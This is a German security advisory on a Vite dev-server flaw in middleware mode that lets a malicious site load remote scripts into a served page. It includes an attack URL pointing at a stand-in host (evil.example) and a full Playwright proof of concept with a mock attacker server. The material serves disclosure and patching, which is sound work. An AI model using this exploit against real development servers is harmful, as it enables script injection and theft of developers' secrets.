Niedrig

Vite: Herkunftsübergreifende Skriptausführung über benutzerdefinierte Vite-Middleware

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 21.10.2026 19:20

Zusammenfassung

Beim Zugriff auf eine bösartige Website während der Ausführung eines Vite-Entwicklungsservers konnte diese Website Skripte in eine vom Entwicklungsserver bereitgestellte Seite laden.

Auswirkungen

Nur Anwendungen, die folgende Bedingungen erfüllen, sind betroffen:

  • Der Entwicklungsserver übergibt eine unveränderte Browser-Anfrage-URL an server.transformIndexHtml: Dies wird typischerweise für server.middlewareMode: true oder appType: 'custom' genutzt. Der interne Aufruf für appType: 'spa' und appType: 'mpa' entspricht diesem Muster nicht.
  • Das transformierte HTML enthält ein Inline-Modulskript.
  • Über das Skript auf der vom Entwicklungsserver ausgelieferten Seite speichert die Anwendung vertrauliche Werte an einem zugänglichen Ort oder ermöglicht kritische Aktionen.

Details

Der Vite-SSR-Leitfaden für 8.2.1) dokumentiert das betroffene Setup. Die Anwendung bindet Vite im Middleware-Modus ein, liest vertrauenswürdiges HTML ein und übergibt die unveränderte Anfrage-URL des Browsers an die Transformation:

js
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

Für einen Entwicklungsserver unter http://localhost:5173 kann ein Angreifer diese URL senden:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1 verwenden createDevHtmlTransformFn und getHtmlFilename in indexHtml.ts) die Anfrage-URL sowohl als path der Transformation als auch als Eingabe für path.join. Der an path.join übergebene Wert enthält weiterhin seinen Query-Text.

Chromium behält /../../package.json bei, da es auf ? folgt und somit Query-Text darstellt. Vite behandelt dieselben Zeichen als Dateisystempfad-Komponenten, sodass die ..-Komponenten den abgeleiteten Dateinamen zur bestehenden Projektdatei package.json auflösen.

Der Branch für bestehende Dateien in indexHtml.ts) prüft diesen Dateinamen mit fs.existsSync und behält den vom Angreifer bereitgestellten htmlPath als proxyModuleUrl bei. Das Umschreiben von Inline-Modulen in derselben Datei) schreibt diesen Wert in das generierte src:

html
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

Der generierte Wert ist eine gültige URL. Das vorangestellte // weist den Browser an, das Modul von evil.example unter Verwendung des Schemas der Vite-Seite anzufordern. Der Angreifer liefert für diese Anfrage JavaScript aus, und Chromium führt es im Kontext der Vite-Seite aus.

PoC

js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Beobachtete Ausgabe unter Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Was zu tun ist

Aktualisieren Sie Vite auf die Version 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 oder höher sowie vite-plus auf Version 1.1.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket vite >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
npm-Paket vite-plus < 1.1.0 1.1.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-80
Plattform
npm
Paket
vite, vite-plus
Veröffentlicht
21.10.2026
Aktualisiert
21.10.2026 19:20

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-9jrq-w75r-8gcw - CC BY 4.0

Schwachstellenhistorie: vite

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (27) im Archiv
Einträge insgesamt
27
Erste → letzte
08.2022 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Hoch 8
  • Mittel 16
  • Niedrig 3

Veröffentlichungen pro Jahr

  1. 2022: 1
  2. 2023: 2
  3. 2024: 4
  4. 2025: 9
  5. 2026: 11
Schweregrad:
  1. Vite: Herkunftsübergreifende Skriptausführung über benutzerdefinierte Vite-Middleware dieser Eintrag
    Niedrig CVE-2026-112945 >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
  2. Hoch CVE-2026-112942 >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
  3. Hoch · 7.5 CVE-2026-53571 >= 8.0.0, < 8.0.16, >= 7.0.0, < 7.3.5, < 6.4.3 8.0.16, 7.3.5, 6.4.3
  4. Hoch CVE-2026-39364 >= 8.0.0, < 8.0.5, >= 7.1.0, < 7.3.2 8.0.5, 7.3.2
  5. Hoch CVE-2026-39363 >= 8.0.0, < 8.0.5, >= 7.0.0, < 7.3.2, >= 6.0.0, < 6.4.2 8.0.5, 7.3.2, 6.4.2
  6. Hoch · 7.5 CVE-2024-23331 >= 2.7.0, < 2.9.17, >= 3.0.0, < 3.2.8, >= 4.0.0, < 4.5.2, >= 5.0.0, < 5.0.12 2.9.17, 3.2.8, 4.5.2, 5.0.12
  7. Hoch · 7.5 CVE-2023-34092 < 2.9.16, >= 3.0.2, < 3.2.7, >= 4.0.0, < 4.0.5, >= 4.1.0, < 4.1.5, >= 4.2.0, < 4.2.3, >= 4.3.0, < 4.3.9 2.9.16, 3.2.7, 4.0.5, 4.1.5, 4.2.3, 4.3.9
  8. Hoch · 8.6 CVE-2022-35204 < 2.9.13, >= 3.0.0-alpha.0, < 3.0.0-beta.4 2.9.13, 3.0.0-beta.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.